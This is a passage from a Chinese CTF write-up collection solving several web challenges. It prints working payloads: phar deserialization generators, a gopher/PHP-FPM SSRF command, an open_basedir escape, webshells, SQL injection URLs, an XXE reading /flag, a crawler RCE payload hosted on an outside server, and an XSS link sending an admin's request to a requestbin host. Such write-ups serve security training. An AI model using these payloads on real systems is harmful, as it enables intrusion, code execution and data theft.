        echo "File is an image - " . $check["mime"] . ".";
    } else {
        echo "File is not an image.";
    }
}
?>

这个ssrf肯定就是另一个文件夹里的东西了，正好开着fpm，那就是ssrf打9000端口的fpm了，php.ini中还限制了open_basedir，后面还得饶一下（这是啥套娃题啊，真的套

害，还得做。先是构造第一个phar，将url设为file:///etc/hosts看内网地址

<?php
class Easytest{
    protected $test = '1';
}
class Main {
    public $url = 'file:///etc/hosts';
}

$c = new Easytest();	// 注意phar中的是Main 之后再反序列化的是Easytest
echo urlencode(serialize($c));
// O%3A8%3A%22Easytest%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00test%22%3Bs%3A1%3A%221%22%3B%7D

$a = new Main();

$phar = new Phar("exp.phar");
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>');
$phar -> setMetadata($a);
$phar -> addFromString('test.txt','test');
$phar -> stopBuffering();

改后缀和MIME上传，拿到路径./uploads/dce6e76f20.jpg，然后到/catchmime.php?careful=处触发，careful参数传入

这看了个寂寞，寄，直接看/proc/net/arp吧

尴尬就尴尬在这俩都不是我们直接的ip，想找的靶机就在这个网段里，但是我都加减5位了，都没找到我们的目标靶机…………………………加减5位已经很多了……

寄。后面的流程我简单说一下吧，懒得本地搭环境，就云了，就是摆。

首先用p牛那个fpm的脚本构造gopher的payload

python fpm.py ip '/var/www/html/index.php' -p 9000 -c "<?php phpinfo();?>"

将生成的payload前面加上gopher://ip:9000/_，放入前面构造phar脚本的url参数中，上传并触发，回显正常

因为还有disable_functions和open_basedir的存在，所以再绕一下

<?php mkdir('/tmp/fuck');chdir('/tmp/fuck');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));readfile('/flag');?>
// 这里的部分作为fpm.py的参数生成新的gopher payload

再传phar，再触发就能看flag了

————感想：19年这样的就是难题了，但是放到2021，不对 2022年，这样的题就是纯套娃而不难了，侧面反映ctf真他妈的太卷了，寄

[2021祥云杯]cralwer_z

唔，我以为我当时打了，但是好像并没有（尴尬

注册账号登入，只有修改profile一个选项，可以改username, affilication, age, Bucket；看下源码

index.js处理/signup, /signin, /logout，user.js处理/user/profile，重点看下这边

router.post('/profile', async (req, res, next) => {
    let { affiliation, age, bucket } = req.body;
    const user = await User.findByPk(req.session.userId);
    if (!affiliation || !age || !bucket || typeof (age) !== "string" || typeof (bucket) !== "string" || typeof (affiliation) != "string") {
        return res.render('user', { user, error: "Parameters error or blank." });
    }
    if (!utils.checkBucket(bucket)) {
        return res.render('user', { user, error: "Invalid bucket url." });
    }
    let authToken;
    try {	// 更新内容
        await User.update({
            affiliation,
            age,
            personalBucket: bucket
        }, {
            where: { userId: req.session.userId }
        });
        const token = crypto.randomBytes(32).toString('hex');
        authToken = token;
        await Token.create({ userId: req.session.userId, token, valid: true });
        await Token.update({
            valid: false,
        }, {
            where: {
                userId: req.session.userId,
                token: { [Op.not]: authToken }
            }
        });
    } catch (err) {
        next(createError(500));
    }
    if (/^https:\/\/[a-f0-9]{32}\.oss-cn-beijing\.ichunqiu\.com\/$/.exec(bucket)) {	// 对bucket进行正则匹配 符合这个形式
        res.redirect(`/user/verify?token=${authToken}`)
    } else {	// 匹配失败
        // Well, admin won't do that actually XD.
        return res.render('user', { user: user, message: "Admin will check if your bucket is qualified later." });
    }
});

router.get('/verify', async (req, res, next) => {
    let { token } = req.query;
    if (!token || typeof (token) !== "string") {
        return res.send("Parameters error");
    }
    let user = await User.findByPk(req.session.userId);
    const result = await Token.findOne({
        token,
        userId: req.session.userId,
        valid: true
    });
    if (result) {
        try {
            await Token.update({
                valid: false
            }, {
                where: { userId: req.session.userId }
            });
            await User.update({
                bucket: user.personalBucket
            }, {
                where: { userId: req.session.userId }
            });
            user = await User.findByPk(req.session.userId);
            return res.render('user', { user, message: "Successfully update your bucket from personal bucket!" });
        } catch (err) {
            next(createError(500));
        }
    } else {
        user = await User.findByPk(req.session.userId);
        return res.render('user', { user, message: "Failed to update, check your token carefully" })
    }
})

// Not implemented yet
router.get('/bucket', async (req, res) => {
    const user = await User.findByPk(req.session.userId);
    if (/^https:\/\/[a-f0-9]{32}\.oss-cn-beijing\.ichunqiu\.com\/$/.exec(user.bucket)) {
        return res.json({ message: "Sorry but our remote oss server is under maintenance" });
    } else {	// 匹配失败
        // Should be a private site for Admin
        try {
            const page = new Crawler({
                userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36',
                referrer: 'https://www.ichunqiu.com/',
                waitDuration: '3s'
            });
            await page.goto(user.bucket);	// goto封装了一些页面访问的函数
            const html = page.htmlContent;
            const headers = page.headers;
            const cookies = page.cookies;
            await page.close();
			// 进行一个页面的访问 返回html headers cookies
            return res.json({ html, headers, cookies});
        } catch (err) {
            return res.json({ err: 'Error visiting your bucket. ' })
        }
    }
});

大致审一下，显然最终目标是让bucket成为我们的vps地址让crawler访问

首先构造一个url通过正则更新profile中的bucket信息，但是别让它重定向（放掉这个包拿到authtoken），接着到/user/profile重新更新我们的bucket，再放掉之前那个/user/verify，把我们第二次的信息更新了，之后再到/user/bucket就可以访问我们的vps页面了

那先构造url，这个正则很死

if (/^https:\/\/[a-f0-9]{32}\.oss-cn-beijing\.ichunqiu\.com\/$/.exec(bucket)) {
    res.redirect(`/user/verify?token=${authToken}`)
} else {
    // Well, admin won't do that actually XD.
    return res.render('user', { user: user, message: "Admin will check if your bucket is qualified later." });
}

但是前面会先过一层这个

if (!utils.checkBucket(bucket)) {
    return res.render('user', { user, error: "Invalid bucket url." });
}

// utils.js
static checkBucket(url) {
    try {
        url = new URL(url);
    } catch (err) {
        return false;
    }
    if (url.protocol != "http:" && url.protocol != "https:") return false;
    if (url.href.includes('oss-cn-beijing.ichunqiu.com') === false) return false;
    return true;
}

这个很好绕，不影响后面的；接下来就是构造evil.html了，利用crawler.js所用zombie库的漏洞，具体漏洞分析参见->Nodejs Zoombie Package RCE 分析

// crawler.js
goto(url) {
    return new Promise((resolve, reject) => {
        try {
            this.crawler.visit(url, () => {
                const resource = this.crawler.resources.length
                    ? this.crawler.resources.filter(resource => resource.response).shift() : null;
                this.statusCode = resource.response.status
                this.headers = this.getHeaders();
                this.cookies = this.getCookies();
                this.htmlContent = this.getHtmlContent();
                resolve();
            });
        } catch (err) {
            reject(err.message);
        }
    })
}

payload如下

bucket url

http://101.35.114.107:2301/craw.html?oss-cn-beijing.ichunqiu.com/

craw.html

<script>
a=this.constructor.constructor.constructor.constructor('return process')();b=a.mainModule.require('child_process');c=b.execSync('cat /flag').toString();document.write(c);
</script>

flag{bdb5a23f-1436-4b83-9ad9-0a889d34b1f4}

[SWPU2019]Web6

一个登录页面

这sql语句都写脸上了，但是原谅我老菜鸡，自己没试出来

username=1'or '1'='1' group by passwd with rollup having passwd is NULL#&passwd=

之前真没见过这种注入方式…… 查了wp后知道这是实验吧3.因缺思汀的绕过，那道题的源码如下

<?php
error_reporting(0);
if (!isset($_POST['uname']) || !isset($_POST['pwd'])) { // 两个参数
    echo '<form action="" method="post">'."<br/>";
    echo '<input name="uname" type="text"/>'."<br/>";
    echo '<input name="pwd" type="text"/>'."<br/>";
    echo '<input type="submit" />'."<br/>";
    echo '</form>'."<br/>";
    echo '<!--source: source.txt-->'."<br/>";
    die;
}
function AttackFilter($StrKey,$StrValue,$ArrReq){
    if (is_array($StrValue)){
        $StrValue=implode($StrValue);
    }
    if (preg_match("/".$ArrReq."/is",$StrValue)==1){
        print "水可载舟，亦可赛艇！";
        exit();
    }
}
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
    AttackFilter($key,$value,$filter);  // 过滤字符
}
$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
    die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";    // uname可控
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {  // 如果只查出来一行数据
    $key = mysql_fetch_array($query);
    if($key['pwd'] == $_POST['pwd']) {  // 比对passwd
        print "CTF{XXXXXX}";
    }else{
        print "亦可赛艇！";
    }
}else{  // 数据多于一行
    print "一颗赛艇！";
}
mysql_close($con);
?>

分析写进去了，它有一个数据是否为1行的判断，说明用户不止一个，我们可以用limit 1 offset x来判断人数；第三个过滤需要输入的密码和数据库中的相同，可以使用group by pwd with rollup语句，分组后会多一行统计，在group分组字段的基础上再统计数据，会出现这样的效果

会出现一个NULL（最后的总数据还会多一个NULL），感觉很类似联合查询的时候凭空多一组数据；我们就需要这个pass=null的数据，用having passwd is NULL；以下是本题的payload

1'or '1'='1' group by passwd with rollup having passwd is NULL#

空密码即可成功登入

扫目录有一个wsdl.php，看到了熟悉的SoapClient，还提示了这些

Service.php和Interface.php都读不到，那只能读剩下的一些method了，接在/index.php?method=后面看看

还有/index.php?method=get_flag

再结合上面的SoapClient，肯定是要反序列化SoapClient+SSRF了

还有/index.php?method=File_read，可以接一个POST参数filename，我们读一下源码

index.php

<?php
ob_start();
include ("encode.php");
include("Service.php");
//error_reporting(0);

//phpinfo();

$method = $_GET['method']?$_GET['method']:'index';
//echo 1231;
$allow_method = array("File_read","login","index","hint","user","get_flag");


if(!in_array($method,$allow_method))
{
    die("not allow method");
}


if($method==="File_read")
{
    $param =$_POST['filename'];
    $param2=null;

}else
{
    if($method==="login")
    {
        $param=$_POST['username'];
        $param2 = $_POST['passwd'];
    }else
    {
        echo "method can use";
    }
}

echo $method;
$newclass = new Service();
echo $newclass->$method($param,$param2);

ob_flush();

?>

读一下Service.php没权限，读encode.php

<?php


function en_crypt($content,$key){
    $key    =    md5($key);
    $h      =    0;
    $length    =    strlen($content);
    $swpuctf      =    strlen($key);
    $varch   =    '';
    for ($j = 0; $j < $length; $j++)
    {
        if ($h == $swpuctf)
        {
            $h = 0;
        }
        $varch .= $key{$h};

        $h++;
    }
    $swpu  =  '';

    for ($j = 0; $j < $length; $j++)
    {
        $swpu .= chr(ord($content{$j}) + (ord($varch{$j})) % 256);
    }
    return base64_encode($swpu);
}

有个Key，我们读keyaaaaaaaasdfsaf.txt得到flag{this_is_false_flag}，应该这个就是key；搞一个对应的解密脚本

<?php
function de_crypt($swpu,$key){
    $swpu=base64_decode($swpu);
    $key=md5($key);
    $h=0;
    $length=strlen($swpu);
    $swpuctf=strlen($key);
    $varch='';
    for($j=0;$j<$length;$j++){
        if($h==$swpuctf)
        {
            $h=0;
        }
        $varch.=$key{$h};
        $h++;
    }
    $content='';
    for($j=0;$j<$length;$j++)
    {
        $content.= chr(ord($swpu{$j}) - (ord($varch{$j}))+256 % 256);
    }
    return $content;
}

注意到我们访问的时候cookie会有一个user字段

用上面那个解密脚本进行解密

print (de_crypt("3J6Roahxag==", "flag{this_is_false_flag}"));
// xiaoC:2

我们伪造一个admin:1重新加密回去，得到xZmdm9NxaQ==，用File_read读一下前面提到的se.php，好家伙，果然反序列化，而且是结合了SoapClient和session

<?php


ini_set('session.serialize_handler', 'php');

class aa
{
    public $mod1;
    public $mod2;   // $cc
    public function __call($name,$param)
    {
        if($this->{$name})
        {
            $s1 = $this->{$name};
            $s1();  // $cc->__invoke
        }
    }
    public function __get($ke)
    {
        return $this->mod2[$ke];
    }
}


class bb
{
    public $mod1;   // $aa
    public $mod2;
    public function __destruct()
    {
        $this->mod1->test2();   // $aa->__call
    }
}

class cc
{
    public $mod1;   // $ee
    public $mod2;
    public $mod3;
    public function __invoke()
    {
        $this->mod2 = $this->mod3.$this->mod1;  // $ee->__toString
    }
}

class dd
{
    public $name;
    public $flag;
    public $b;  //

    public function getflag()
    {
        session_start();
        var_dump($_SESSION);
        $a = array(reset($_SESSION),$this->flag);	// 注意这里的session
        echo call_user_func($this->b,$a);
    }
}
class ee
{
    public $str1;   // $dd
    public $str2;   // 'getflag'
    public function __toString()
    {
        $this->str1->{$this->str2}();   // $dd->getflag
        return "1";
    }
}

$bb = new bb();
$aa = new aa();
$cc = new cc();
$ee = new ee();
$bb ->mod1 = $aa;
$cc -> mod1 = $ee;
$dd = new dd();
$dd->flag='Get_flag';
$dd->b='call_user_func';
$ee -> str1 = $dd;
$ee -> str2 = "getflag";
$aa ->mod2['test2'] = $cc;
echo serialize($bb);

interface.php

<?php
    include('Service.php');
    $ser = new SoapServer('Service.wsdl',array('soap_version'=>SOAP_1_2));
    $ser->setClass('Service');
    $ser->handle();
?>

整体的思路大概是，通过文件上传把一个我们构造好的恶意SoapClient的序列化字符串写入sess_2333这个session文件中，然后利用se.php的反序列化功能，调用到call_user_func的时候就会把session中的SOAP类的Get_flag给调用出来，call_user_func('call_user_func', array($session, 'Get_flag'));

——————但是这里就有个问题，怎么能确定我们ssrf打的interface.php就有Get_flag方法呢？为什么不打ssrf的/index.php?method=get_flag呢？出题人说那个不输出结果，多做了个soap接口interface.php来攻击

首先是这个SoapClient

<?php
$target = 'http://127.0.0.1/interface.php';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: user=xZmdm9NxaQ==',
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'amiz^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers),'uri' => "amiz"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo $a;
?>
// O:10:"SoapClient":5:{s:3:"uri";s:4:"amiz";s:8:"location";s:30:"http://127.0.0.1/interface.php";s:15:"_stream_context";i:0;s:11:"_user_agent";s:108:"amiz
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Cookie: user=xZmdm9NxaQ==";s:13:"_soap_version";i:1;}

传上去，记得改PHPSESSID

然后到/se.php，POST方式传入aa=pop链结果

参考：wp | wp2

[Insomni hack teaser 2019]Phuck2

<?php
stream_wrapper_unregister('php');   // 不太懂？
if(isset($_GET['hl'])) highlight_file(__FILE__);

$mkdir = function($dir) {
    system('mkdir -- '.escapeshellarg($dir));   // 定义函数$mkdir() 调用系统函数mkdir
};
$randFolder = bin2hex(random_bytes(16));    // 随机字符串
$mkdir('users/'.$randFolder);   // 当前目录下创建子目录users/randFolder
chdir('users/'.$randFolder);

$userFolder = (isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']);   // 可以自定义存储路径
$userFolder = basename(str_replace(['.','-'],['',''],$userFolder)); // 替换`.`和`-`

$mkdir($userFolder);    // 创建子目录并转到子目录中
chdir($userFolder);
file_put_contents('profile',print_r($_SERVER,true));    // 写入内容 文件名为profile
chdir('..');    // 回到users/randFolder
$_GET['page']=str_replace('.','',$_GET['page']);    // 过滤`.`
if(!stripos(file_get_contents($_GET['page']),'<?') && 	!stripos(file_get_contents($_GET['page']),'php')) {	// 文件内容不能有<?和php
    include($_GET['page']); // 文件包含点
}

chdir(__DIR__); // 回到当前目录
system('rm -rf users/'.$randFolder);    // 删除users/randFolder及其子目录

?>

自己第一遍看的时候没明白第一句啥意思，原来第一句的意思是ban了php流，确实挺狠的；亮点有几个，首先是调用系统级的mkdir和rm命令，就非常有可以绕过的空间（但最后考的地方也不在这），另外那个file_put_contents文件的内容我们可控，因为是整个$_SERVER数组（可以把我们的代码写到任意http请求头中），还有后面的include文件包含点不允许内容有<?和php（需要绕过这个检测）；据说后面有phpinfo.php的提示说allow_url_fopen=On allow_url_include=Off

这里利用的点是include与file_get_contents在处理Data URI上的问题。他们都支持data:text/vnd-example+xyz;foo=bar;base64,R0lGODdh这样的内容（而不是data://流！），还比如这样的图片等等，但是有一些问题，file_get_contents允许使用data URI，会直接返回后面的内容，当allow_url_include=Off情况下不允许include data URI，但如果当data:,xxx是一个目录名的话就会放开这个限制（返回xxx 而不是文件内容）

只要把xff头改为我们想要的文件名，然后随便一个参数包含我们的恶意代码（在$_SERVERS数组中），再让page参数设为data:amiz/profile，做到file_get_contents不认但是include认，可以让它直接包含这个文件

参考：wp

[网鼎杯 2020 总决赛]Game Exp

给了源码，非常多，结合页面功能看代码；首先是注册，有个很奇怪的单独的类

很显然需要一个反序列化点触发AnyClass的eval()，结合注册地方上传文件的地方+file_exists函数，很显然是phar反序列化了，而phar本来就对后缀名不敏感（主要看内容），所以直接用phar.jpg即可，$filename是拼接的用户名和后缀

exp.php

<?php
class AnyClass{
    var $output = 'echo "ok";';
    function __destruct()
    {
        eval($this -> output);
    }
}
$c = new AnyClass();
$c -> output = 'system($_GET[1]);';	// 注意这里是单引号
echo serialize($c);

$phar = new Phar("exp.phar");
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>');
$phar -> setMetadata($c);
$phar -> addFromString('test.txt','test');
$phar -> stopBuffering();

修改后缀和MIME上传，路径是/login/amiz.jpg（是用户名

再回到注册上传那里，修改用户名为php://amiz，然后GET参数触发shell即可

[RoarCTF 2019]PHPShe

附件里有.idea，给了一些提示，是1.7版本的phpshe，有两个已知的cve，不过xxe那个因为不存在对应的php文件，所以用sql那个cve-2019-9762，下面跟一下分析的过程

在include/function/global.func.php下有针对数据库安全的函数pe_dbhold()

参数会被addslashes处理，我们的引号和反斜杠不保，那看看有没有不用引号也可以注入的地方或者是宽字节注入

在include/plugin/payment/alipay/pay.php中对$order_id参数进行了这样的处理

其中奇奇怪怪的$_g_id是对post参数的重命名，在common.php中

用到了extract对变量名前面加上_g_或_p_的前缀

回到上面，get方式传入的id参数先经过pe_dbhold处理后赋值给$order_id，随后进入order_table函数，位于hook/order.hook.php

如果传入的参数含有_，则会以它为分隔符，返回order_+_前的第一部分，如果参数不含_直接返回order

再回到前面的pe_select，位于include/class/db.class.php

这不巧了，参数部分用的是反引号而不是单引号，传入的$order_id就是这里的$table部分，dbpre是数据库表前缀；构造这样的payload

pay` where 1=1 and sleep(5)%23_

经过order_table和pe_select之后是这样的语句

select * from `order_pay` where 1=1 and sleep(5)#` where `order_id` = `pay` where 1=1 and sleep(5)#_ limit 1

然后找利用点，在include/plugin/payment/alipay/pay.php中有利用点并且有回显位；因为对_的特殊处理，我们无法用information_schema来查表，所以只能在不知道列名的情况下注入

select`3`from(select 1,2,3,4,5,6 union select * from admin)a limit 1,1

构造payload

GET /include/plugin/payment/alipay/pay.php?id=pay`%20where%201=1%20union%20select%201,2,((select`3`from(select%201,2,3,4,5,6%20union%20select%20*%20from%20admin)a%20limit%201,1)),4,5,6,7,8,9,10,11,12%23_

得到admin密码的md5值，查一下得到altman777，在/admin.php处登入后台

首先在品牌管理处可以上传文件

借助.idea给出的提示，在include/class/pclzip.class.php有个比官方文件多出来的__destruct

还有自带的__construct

还有个打开的module/admin/moban.php和include/function/global.func.php，在down操作中实例化上面的PclZip类，之后用extract()来解压zip文件，$moban_template是文件路径

在del操作中调用pe_dirdel

有个is_file($dir_path)可以触发反序列化

结合上面的__destruct中的extract，肯定是phar反序列化了，在前面上传的地方上传压缩过的webshell，然后再传入phar，里面参数的路径指向前面的zip路径，被反序列化后触发__destruct 解压zip到一个可读写目录/var/www/html/data中

<?php eval($_POST['amiz']);?>

http://acdb618d-67d7-416b-a534-23a858dbe1e4.node4.buuoj.cn:81/data/attachment/brand/1.zip

<?php
class PclZip{
    var $zipname = '';
    var $zip_fd = 0;
    var $error_code = 1;
    var $error_string = '';
    var $magic_quotes_status;
    var $save_path = '/var/www/html/data';//解压目录

    function __construct($p_zipname){

        $this->zipname = $p_zipname;
        $this->zip_fd = 0;
        $this->magic_quotes_status = -1;

        return;
    }

}

$a=new PclZip("/var/www/html/data/attachment/brand/1.zip");//压缩的文件路径
echo serialize($a);
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "m0c1nu7");
$phar->stopBuffering();
?>

http://acdb618d-67d7-416b-a534-23a858dbe1e4.node4.buuoj.cn:81/data/attachment/brand/2.txt

之后触发phar反序列化

GET /admin.php?mod=moban&act=del&token=709991a77ab3f79e5dcad72d0453978e&tpl=phar:///var/www/html/data/attachment/brand/2.txt
Referer: http://acdb618d-67d7-416b-a534-23a858dbe1e4.node4.buuoj.cn:81/admin.php?mod=moban

这里需要传入csrf的token（post上传处可以拿到），还需要设置一下Referer

flag{9085d530-559f-49bd-9e0e-718780146bd3}

*[Zer0pts2020]musicblog

注册账号并登入，可以创建post，勾选publish可以有admin访问，这肯定是个xss类的题目了

整个站有比较完善的csp规则

看下worker.js的工作逻辑

const fs = require('fs')
const md5 = require('md5');

const puppeteer = require('puppeteer');
const Redis = require('ioredis');
const connection = new Redis(6379, 'redis');

const admin_username = "admin";
const admin_password = "w28J0zjqpp6w9Ty8Sl58Z7iEf4h911zZ";
const flag = 'zer0pts{M4sh1m4fr3sh!!}';

const browser_option = {
    executablePath: 'google-chrome-unstable',
    headless: true,
    args: [
        '--no-sandbox',
        '--disable-background-networking',
        '--disable-default-apps',
        '--disable-extensions',
        '--disable-gpu',
        '--disable-sync',
        '--disable-translate',
        '--hide-scrollbars',
        '--metrics-recording-only',
        '--mute-audio',
        '--no-first-run',
        '--safebrowsing-disable-auto-update',
    ],
};
let browser = undefined;

const crawl = async (url) => {
    console.log(`[+] Query! (${url})`);
    const page = await browser.newPage();
    try {
        await page.setUserAgent(flag);
        await page.goto(url, {
            waitUntil: 'networkidle0',
            timeout: 3 * 1000,
        });
        page.click('#like');
        await page.waitForNavigation({timeout: 3000});
    } catch (err){
        console.log(err);
    }
    await page.close();
    console.log(`[+] Done! (${url})`)
};

const init = async () => {
    const browser = await puppeteer.launch(browser_option);
    const page = await browser.newPage();    
    console.log(`[+] Setting up...`);
    try {
        await page.goto(`http://challenge/login.php`);
        await page.waitFor('#username');
        await page.type('#username', admin_username);
        await page.waitFor('#password');
        await page.type('#password', admin_password);
        await page.waitFor('#login-submit');
        await Promise.all([
            page.$eval('#login-submit', elem => elem.click()),
            page.waitForNavigation()
        ]);
        const body = await page.evaluate(() => document.body.innerHTML);
        if (!body.includes('href="posts.php"')){
            throw Error(`Login failed at ${page.url()}.`);
        }
        console.log(`[+] Setup done!`);
    } catch (err) {
        console.log(`[-] Error while setting up :(`);
        console.log(err);
        const body = await page.evaluate(() => document.body.innerHTML);
        console.log(`body: ${body}`);
    }
    try{ 
        await page.close();
    } catch (err) {
        console.log(err);
    }
    return browser;
};

function handle(){
    console.log("[+] handle");
    connection.blpop("query", 0, async function(err, message) {
        if (browser === undefined) browser = await init();
        await crawl("http://challenge/post.php?id=" + message[1]);
        setTimeout(handle, 10); // handle next
    });
}
handle(); // first ignite

可以看到有flag，肯定是要xss拿到；admin会先登入admin账号，接着crawl()访问url

try {
    await page.setUserAgent(flag);
    await page.goto(url, {
        waitUntil: 'networkidle0',
        timeout: 3 * 1000,
    });
    page.click('#like');
    await page.waitForNavigation({timeout: 3000});
} catch (err){
    console.log(err);
}

会点击页面的#like，也就是上面创建Post时勾选的框

注意到它对标签的过滤，但是允许<audio>的存在

查资料可知strip_tags有安全问题，它不会过滤<a/udio>标签，并且<a/udio>会作为超链接<a>被解析，同时超链接的跳转是不受csp的控制的，payload

<a/udio id=like href="http://http.requestbin.buuoj.cn/v4c4pyv4">aa</a/udio>

buu改k8s之后内网的题多少有点问题，一直拿不到flag，寄

[FireshellCTF2020]Cars

这咋就apk了……算了，摁看

在Rest.kt中看到三个路由

在domain目录下可以看到对应接收的参数格式，/comment可以传入name和message；在CommentActivity中有个send_comment调用了postComment

这里使用了GsonConvertFactory，这是一个解析json的库，同时这里还引入了retrofit2，给我们xxe的可能

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ELEMENT foo ANY >
      <!ENTITY xxe SYSTEM  "file:///flag" >
]>
<Comment>
    <name>&xxe;</name>
    <message>flag please!</message>
</Comment>

记得修改Content-Type为application/xml

flag{d96dc7a4-8be4-4e05-9bbf-64fcf8009182}

[网鼎杯 2020 总决赛]Novel

只看给的附件，大概扫一下猜测是个反序列化的题；然后看下页面交互，好像跟猜的有一点不太一样，可以选择私藏，会post访问/back/backup，对应的是back.class.php 传入filename和path，选择上传文件会post访问/upload/profile，对应的是upload.class.php

index.php中关键处在这里

back类中除backup外还有三个私有函数_write, _create, random_code ，在调用backup时会先依次调用这几个函数进行处理

backup中，首先判断profile/下有没有同名文件，对内容进行htmlspecialchars处理后，先是用random_code生成随机密码，然后进行

$this->_write($dest, $this->_create($password, $content));

_create会将密码和内容拼到一起

private function _create($password, $content){
   $_content='<?php $_GET["password"]==="'.$password.'"?print("'.$content.'"):exit(); ';
   return $_content;
}

随后进入_write

private function _write($dest, $content){
   $f1=$dest;
   $f2='private/'.$this->random_code(10).".php";

   $stream_f1 = fopen($f1, 'w+');

   fwrite($stream_f1, $content);
   rewind($stream_f1);
   $f1_read=fread($stream_f1, 3000);
   
   preg_match('/^<\?php \$_GET\[\"password\"\]===\"[a-zA-Z0-9]{8}\"\?print\(\".*\"\):exit\(\); $/s', $f1_read, $matches);
   
   if(!empty($matches[0])){
      copy($f1,$f2);
      fclose($stream_f1);   
      return $f2;     
   }else{
      fwrite($stream_f1, '<?php exit(); ?>');
      fclose($stream_f1);
      return false;
   }

}

先将$dest和上面_create生成的内容拼一起，然后对内容进行过滤处理，通过过滤的话将会在/private目录下存一份备份文件并返回完整路径，没通过过滤的话会在文件中写入死亡exit

我们的攻击思路是上传一个txt，之后通过back生成后缀为php的备份文件，拿webshell；构造payload

amiz.txt

{${eval($_GET[1])}}

GET /private/mKrZmVugUo.php?password=4lsUOHWN&1=system('cat /flag.txt');

flag{913c1949-edef-4459-8ffc-7970b9c93f14}

注意这里页面上传的时候要双击submit才会弹出文件管理器

[Windows]LFI2019

开幕雷击，直接就是phpinfo的背景，显示是一个windows系统，没有disable_functions也没有open_basedir

有三个按钮，info提示flag在flag.php，upload可以上传文件，include可以包含；给了源码，还挺长的，二百多行

大多是一些基础操作，防xss, ssrf, session，有几个类比较显眼，首先是Get，它是include时调用的类，会new一个实例然后调用其中的get

class Get {
    protected function nanahira(){
        // senpai notice me //
        function exploit($data){
            $exploit = new System();
        }
        $_GET['trigger'] && !@@@@@@@@@@@@@exploit($$$$$$_GET['leak']['leak']);
    }
    private $filename;
    function __construct($filename){
        $this->filename = path_sanitizer($filename);
    }
    function get(){
        if($this->filename === false){
            return ["msg" => "blocked by path sanitizer", "type" => "error"];
        }
        // wtf???? //
        if(!@file_exists($this->filename)){
            // index files are *completely* disabled. //
            if(stripos($this->filename, "index") !== false){
                return ["msg" => "you cannot include index files!", "type" => "error"];
            }
            // hardened sanitizer spawned. thus we sense ambiguity //
            $read_file = "./files/" . $this->filename;
            $read_file_with_hardened_filter = "./files/" . path_sanitizer($this->filename, true);
            if($read_file === $read_file_with_hardened_filter ||
                @file_get_contents($read_file) === @file_get_contents($read_file_with_hardened_filter)){
                return ["msg" => "request blocked", "type" => "error"];
            }
            // .. and finally, include *un*exploitable file is included. //
            @include("./files/" . $this->filename);
            return ["type" => "success"];
        }else{
            return ["msg" => "invalid filename (wtf)", "type" => "error"];
        }
    }
}

其中对文件名的waf是path_sanitizer，黑名单挺狠的

function path_sanitizer($dir, $harden=false){
    $dir = (string)$dir;
    $dir_len = strlen($dir);
    // Deny LFI/RFI/XSS //
    $filter = ['.', './', '~', '.\\', '#', '<', '>'];
    foreach($filter as $f){
        if(stripos($dir, $f) !== false){
            return false;
        }
    }
    // Deny SSRF and all possible weird bypasses //
    $stream = stream_get_wrappers();
    $stream = array_merge($stream, stream_get_transports());
    $stream = array_merge($stream, stream_get_filters());
    foreach($stream as $f){
        $f_len = strlen($f);
        if(substr($dir, 0, $f_len) === $f){
            return false;
        }
    }
    // Deny length //
    if($dir_len >= 128){
        return false;
    }
	// Easy level hardening //
	if($harden){
		$harden_filter = ["/", "\\"];
		foreach($harden_filter as $f){
			$dir = str_replace($f, "", $dir);
		}
	}
    // Sanitize feature is available starting from the medium level //
    return $dir;
}

$filename单独经过waf之后得到的文件路径$read_file_with_hardened_filter必须和之前的$read_file不同，读到的文件内容也必须不同

post的地方用的是Put类，大差不差，多了个对code的waf，code_sanitizer

function code_sanitizer($code){
    // Computer-chan, please don't speak english. Speak something else! //
    $code = preg_replace("/[^<>!@#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;]/u", "*Nope*", (string)$code);
    return $code;
}

正常linux下写入test文件，包含test\，经过waf之后得到./files/test，但是处理前的./files/test\无法读取文件内容，失败

这里用到的trick是windows下执行file_get_contents时会把"解释为.

file_get_contents('test.php') === file_get_contents('test"php')

利用这个trick，上传文件名为test，读取文件名为"/test，过waf后路径为./files/.test，处理前路径为./files/./test，可以正常读取文件内容

关于shell，继续用p牛的这篇一些不包含数字和字母的webshell

